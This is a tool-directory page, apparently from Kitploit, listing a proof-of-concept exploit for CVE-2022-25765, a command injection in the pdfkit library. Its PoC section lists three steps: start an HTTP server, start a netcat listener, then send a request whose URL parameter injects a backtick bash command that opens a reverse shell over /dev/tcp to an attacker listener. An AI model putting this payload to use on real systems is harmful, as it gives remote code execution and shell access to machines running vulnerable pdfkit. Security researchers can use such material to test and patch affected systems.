Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PDFkit-CMD-Injection — Proof-of-concept exploit for CVE-2022-25765 demonstrating command injection in pdfkit 0.8.6 via unsanitized URL parameter, enabling remote code execution and reverse shell. | Kitploit
Tools/GitHubGitHub/lekosbelas/pdfkit-cmd-injection
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCommand and Control
GitHublekosbelas/pdfkit-cmd-injection

PDFkit-CMD-Injection

Proof-of-concept exploit for CVE-2022-25765 demonstrating command injection in pdfkit 0.8.6 via unsanitized URL parameter, enabling remote code execution and reverse shell.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
123 years agoNot yet reviewed
Share

PDFkit-CMD-Injection

CVE-2022-25765 Detail

Description

The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

PoC

Start a HTTP server

root@kitploit:~
1- python3 -m http.server 80

Start a netcat listener

root@kitploit:~
2- nc -lnvp 'Target Port'

Make a request

root@kitploit:~
3- http://"TARGET_ADDRESS:Target PORT"//?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/"Target_ADRESS/LISTENING_PORT"<&1'`'}
Download Tool